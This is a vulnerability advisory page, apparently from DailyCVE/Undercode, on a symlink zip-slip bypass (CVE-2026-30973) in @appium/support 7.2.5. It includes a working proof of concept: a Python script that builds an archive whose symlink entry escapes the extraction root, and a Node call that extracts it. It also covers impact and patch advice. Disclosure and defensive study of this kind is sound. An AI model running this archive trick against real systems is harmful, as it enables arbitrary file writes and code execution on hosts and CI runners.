@appium/support, Path Traversal and Symlink Bypass, CVE-2026-30973 (critical) -DC-Oct2026-3265

Listen to this Post

The vulnerability involves an improper restriction of operations within the path of a zip archive extraction process in @appium/support. Although a previous patch addressed direct lexical path traversal by rejecting entry names containing parent directory references like dot-dot, it failed to handle symbolic link vectors. An attacker can craft a malicious archive containing a symbolic link pointing outside the intended extraction root directory, followed by a regular file entry whose path resolves through that symlink. Since the containment check only performs string normalization on individual entry names without resolving symlink targets or validating their final paths, the system blindly extracts files outside the destination directory, resulting in arbitrary file write capabilities that can lead to remote code execution.

DailyCVE Form:

Platform: Appium Support
Version: 7.2.5
Vulnerability: Symlink Path Traversal
Severity: Critical
date: 2026-03-30

Prediction: 2026-04-15

What Undercode Say:

Analytics

import os, sys, zipfile, shutil
work = "/tmp/zswork"
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)
extractB = os.path.join(work, "extractB")
os.makedirs(extractB)
escapeB = os.path.join(work, "escapeB")
os.makedirs(escapeB)
zipB = os.path.join(work, "symlink_bypass.zip")
with zipfile.ZipFile(zipB, "w") as z:
sl = zipfile.ZipInfo("pwn")
sl.create_system = 3
sl.external_attr = (0o120777 & 0xFFFF) << 16
z.writestr(sl, escapeB)
fi = zipfile.ZipInfo("pwn/owned.txt")
fi.create_system = 3
fi.external_attr = (0o100644 & 0xFFFF) << 16
z.writestr(fi, "PWNED via symlink Zip Slip\n")
const support = require('@appium/support');
(async () => {
await support.zip.extractAllTo('symlink_bypass.zip', './extractB');
})();

Exploit: (Educational Purposes!)

An attacker creates a specially crafted archive containing a symbolic link entry pointing to a sensitive system directory or parent folder outside the target extraction path. When the extraction utility processes a subsequent file entry whose path uses the created symlink, the application follows the reference and writes the file outside the intended root boundary.

Protection:

Update @appium/support to a patched version that resolves symbolic links using realpath checks and validates that the ultimate destination of every extracted file and symlink target strictly resides inside the designated extraction root directory.

Impact:

Enables arbitrary file write outside the extraction directory. Depending on the service privileges, attackers can overwrite configuration files, drop startup scripts, or replace system binaries, ultimately leading to full remote code execution on the host system, CI runner, or device farm.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top